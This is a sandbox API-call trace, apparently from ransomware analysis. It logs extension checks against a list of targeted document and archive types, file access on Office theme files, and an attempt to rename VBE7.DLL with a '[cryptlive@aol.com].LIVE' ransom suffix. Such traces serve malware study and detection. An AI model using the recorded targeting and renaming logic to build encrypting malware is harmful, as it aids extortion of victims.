lstrcmpiW (lpString1=".docx", lpString2="N.INF") returned -1 [0130.017] lstrlenW (lpString=".pdf") returned 4 [0130.017] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0130.017] lstrlenW (lpString=".xls") returned 4 [0130.017] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0130.017] lstrlenW (lpString=".xlsx") returned 5 [0130.017] lstrcmpiW (lpString1=".xlsx", lpString2="N.INF") returned -1 [0130.017] lstrlenW (lpString=".ppt") returned 4 [0130.017] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0130.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.017] lstrlenW (lpString=".zip") returned 4 [0130.017] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0130.017] lstrlenW (lpString=".rar") returned 4 [0130.017] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0130.017] lstrlenW (lpString=".bz2") returned 4 [0130.017] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0130.017] lstrlenW (lpString=".7z") returned 3 [0130.017] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0130.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.018] lstrlenW (lpString=".dbf") returned 4 [0130.018] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0130.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.018] lstrlenW (lpString=".1cd") returned 4 [0130.018] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0130.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.018] lstrlenW (lpString=".jpg") returned 4 [0130.018] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0130.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.018] lstrlenW (lpString=".doc") returned 4 [0130.018] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0130.018] lstrlenW (lpString=".docx") returned 5 [0130.018] lstrcmpiW (lpString1=".docx", lpString2="N.INF") returned -1 [0130.018] lstrlenW (lpString=".pdf") returned 4 [0130.018] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0130.018] lstrlenW (lpString=".xls") returned 4 [0130.018] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0130.018] lstrlenW (lpString=".xlsx") returned 5 [0130.018] lstrcmpiW (lpString1=".xlsx", lpString2="N.INF") returned -1 [0130.018] lstrlenW (lpString=".ppt") returned 4 [0130.018] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0130.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.019] lstrlenW (lpString=".zip") returned 4 [0130.019] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0130.019] lstrlenW (lpString=".rar") returned 4 [0130.019] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0130.019] lstrlenW (lpString=".bz2") returned 4 [0130.019] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0130.019] lstrlenW (lpString=".7z") returned 3 [0130.019] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0130.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.019] lstrlenW (lpString=".dbf") returned 4 [0130.019] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0130.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.019] lstrlenW (lpString=".1cd") returned 4 [0130.019] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0130.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.019] lstrlenW (lpString=".jpg") returned 4 [0130.019] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0130.019] lstrcmpiW (lpString1=".ELM", lpString2=".LIVE") returned -1 [0130.019] lstrlenW (lpString="ARCTIC.ELM") returned 10 [0130.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0130.022] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=69575) returned 1 [0130.022] CloseHandle (hObject=0x300) returned 1 [0130.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm")) returned 0x20 [0130.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.022] lstrlenW (lpString=".doc") returned 4 [0130.022] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.022] lstrlenW (lpString=".docx") returned 5 [0130.022] lstrcmpiW (lpString1=".docx", lpString2="C.ELM") returned -1 [0130.022] lstrlenW (lpString=".pdf") returned 4 [0130.022] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.022] lstrlenW (lpString=".xls") returned 4 [0130.022] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.022] lstrlenW (lpString=".xlsx") returned 5 [0130.022] lstrcmpiW (lpString1=".xlsx", lpString2="C.ELM") returned -1 [0130.023] lstrlenW (lpString=".ppt") returned 4 [0130.023] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.023] lstrlenW (lpString=".zip") returned 4 [0130.023] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.023] lstrlenW (lpString=".rar") returned 4 [0130.023] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.023] lstrlenW (lpString=".bz2") returned 4 [0130.023] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.023] lstrlenW (lpString=".7z") returned 3 [0130.023] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.023] lstrlenW (lpString=".dbf") returned 4 [0130.023] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.023] lstrlenW (lpString=".1cd") returned 4 [0130.023] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.023] lstrlenW (lpString=".jpg") returned 4 [0130.023] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.023] lstrlenW (lpString=".doc") returned 4 [0130.023] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.023] lstrlenW (lpString=".docx") returned 5 [0130.023] lstrcmpiW (lpString1=".docx", lpString2="C.ELM") returned -1 [0130.023] lstrlenW (lpString=".pdf") returned 4 [0130.024] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.024] lstrlenW (lpString=".xls") returned 4 [0130.024] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.024] lstrlenW (lpString=".xlsx") returned 5 [0130.024] lstrcmpiW (lpString1=".xlsx", lpString2="C.ELM") returned -1 [0130.024] lstrlenW (lpString=".ppt") returned 4 [0130.024] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.024] lstrlenW (lpString=".zip") returned 4 [0130.024] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.024] lstrlenW (lpString=".rar") returned 4 [0130.024] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.024] lstrlenW (lpString=".bz2") returned 4 [0130.024] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.024] lstrlenW (lpString=".7z") returned 3 [0130.024] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.024] lstrlenW (lpString=".dbf") returned 4 [0130.024] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.024] lstrlenW (lpString=".1cd") returned 4 [0130.024] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0130.024] lstrlenW (lpString=".jpg") returned 4 [0130.024] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.025] lstrcmpiW (lpString1=".INF", lpString2=".LIVE") returned -1 [0130.025] lstrlenW (lpString="ARCTIC.INF") returned 10 [0130.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0130.025] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=513) returned 1 [0130.025] CloseHandle (hObject=0x300) returned 1 [0130.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf")) returned 0x20 [0130.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.026] lstrlenW (lpString=".doc") returned 4 [0130.026] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0130.026] lstrlenW (lpString=".docx") returned 5 [0130.026] lstrcmpiW (lpString1=".docx", lpString2="C.INF") returned -1 [0130.026] lstrlenW (lpString=".pdf") returned 4 [0130.026] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0130.026] lstrlenW (lpString=".xls") returned 4 [0130.026] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0130.026] lstrlenW (lpString=".xlsx") returned 5 [0130.026] lstrcmpiW (lpString1=".xlsx", lpString2="C.INF") returned -1 [0130.026] lstrlenW (lpString=".ppt") returned 4 [0130.026] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0130.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.026] lstrlenW (lpString=".zip") returned 4 [0130.026] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0130.026] lstrlenW (lpString=".rar") returned 4 [0130.026] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0130.026] lstrlenW (lpString=".bz2") returned 4 [0130.026] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0130.026] lstrlenW (lpString=".7z") returned 3 [0130.026] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0130.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.026] lstrlenW (lpString=".dbf") returned 4 [0130.026] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0130.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.026] lstrlenW (lpString=".1cd") returned 4 [0130.026] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0130.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.027] lstrlenW (lpString=".jpg") returned 4 [0130.027] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0130.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.027] lstrlenW (lpString=".doc") returned 4 [0130.027] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0130.027] lstrlenW (lpString=".docx") returned 5 [0130.027] lstrcmpiW (lpString1=".docx", lpString2="C.INF") returned -1 [0130.027] lstrlenW (lpString=".pdf") returned 4 [0130.027] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0130.027] lstrlenW (lpString=".xls") returned 4 [0130.027] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0130.027] lstrlenW (lpString=".xlsx") returned 5 [0130.027] lstrcmpiW (lpString1=".xlsx", lpString2="C.INF") returned -1 [0130.027] lstrlenW (lpString=".ppt") returned 4 [0130.027] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0130.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.027] lstrlenW (lpString=".zip") returned 4 [0130.027] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0130.027] lstrlenW (lpString=".rar") returned 4 [0130.027] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0130.027] lstrlenW (lpString=".bz2") returned 4 [0130.027] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0130.028] lstrlenW (lpString=".7z") returned 3 [0130.028] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0130.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.028] lstrlenW (lpString=".dbf") returned 4 [0130.028] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0130.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.028] lstrlenW (lpString=".1cd") returned 4 [0130.028] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0130.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned 73 [0130.028] lstrlenW (lpString=".jpg") returned 4 [0130.028] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0130.028] lstrcmpiW (lpString1=".ELM", lpString2=".LIVE") returned -1 [0130.028] lstrlenW (lpString="AXIS.ELM") returned 8 [0130.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0130.029] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=100798) returned 1 [0130.029] CloseHandle (hObject=0x300) returned 1 [0130.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm")) returned 0x20 [0130.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0130.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0130.030] lstrlenW (lpString=".doc") returned 4 [0130.030] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.030] lstrlenW (lpString=".docx") returned 5 [0130.030] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0130.030] lstrlenW (lpString=".pdf") returned 4 [0130.030] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.030] lstrlenW (lpString=".xls") returned 4 [0130.030] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.030] lstrlenW (lpString=".xlsx") returned 5 [0130.030] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0130.030] lstrlenW (lpString=".ppt") returned 4 [0130.030] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0130.030] lstrlenW (lpString=".zip") returned 4 [0130.030] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.030] lstrlenW (lpString=".rar") returned 4 [0130.030] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.030] lstrlenW (lpString=".bz2") returned 4 [0130.030] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.030] lstrlenW (lpString=".7z") returned 3 [0130.030] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned 69 [0130.030] lstrlenW (lpString=".dbf") returned 4 [0130.030] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.520] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=569) returned 1 [0130.520] CloseHandle (hObject=0x308) returned 1 [0130.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf")) returned 0x20 [0130.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.525] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0130.525] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0130.525] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0130.525] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0130.525] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0130.525] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0130.525] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0130.525] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0130.525] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0130.525] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0130.526] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0130.526] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0130.526] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0130.526] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0130.526] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0130.526] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0130.526] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0130.526] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0130.526] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0130.526] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0130.526] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0130.526] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0130.526] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0130.526] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0130.526] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0130.526] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0130.526] lstrcmpiW (lpString1=".INF", lpString2=".LIVE") returned -1 [0131.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.161] lstrlenW (lpString=".doc") returned 4 [0131.161] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.161] lstrlenW (lpString=".docx") returned 5 [0131.161] lstrcmpiW (lpString1=".docx", lpString2="7.DLL") returned -1 [0131.161] lstrlenW (lpString=".pdf") returned 4 [0131.161] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.161] lstrlenW (lpString=".xls") returned 4 [0131.161] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.161] lstrlenW (lpString=".xlsx") returned 5 [0131.161] lstrcmpiW (lpString1=".xlsx", lpString2="7.DLL") returned -1 [0131.161] lstrlenW (lpString=".ppt") returned 4 [0131.161] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.161] lstrlenW (lpString=".zip") returned 4 [0131.161] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.161] lstrlenW (lpString=".rar") returned 4 [0131.161] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.161] lstrlenW (lpString=".bz2") returned 4 [0131.161] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.161] lstrlenW (lpString=".7z") returned 3 [0131.161] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.161] lstrlenW (lpString=".dbf") returned 4 [0131.161] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.161] lstrlenW (lpString=".1cd") returned 4 [0131.161] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.162] lstrlenW (lpString=".jpg") returned 4 [0131.162] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.162] lstrlenW (lpString=".doc") returned 4 [0131.162] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.162] lstrlenW (lpString=".docx") returned 5 [0131.162] lstrcmpiW (lpString1=".docx", lpString2="7.DLL") returned -1 [0131.162] lstrlenW (lpString=".pdf") returned 4 [0131.162] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.162] lstrlenW (lpString=".xls") returned 4 [0131.162] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.162] lstrlenW (lpString=".xlsx") returned 5 [0131.162] lstrcmpiW (lpString1=".xlsx", lpString2="7.DLL") returned -1 [0131.162] lstrlenW (lpString=".ppt") returned 4 [0131.162] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.162] lstrlenW (lpString=".zip") returned 4 [0131.162] 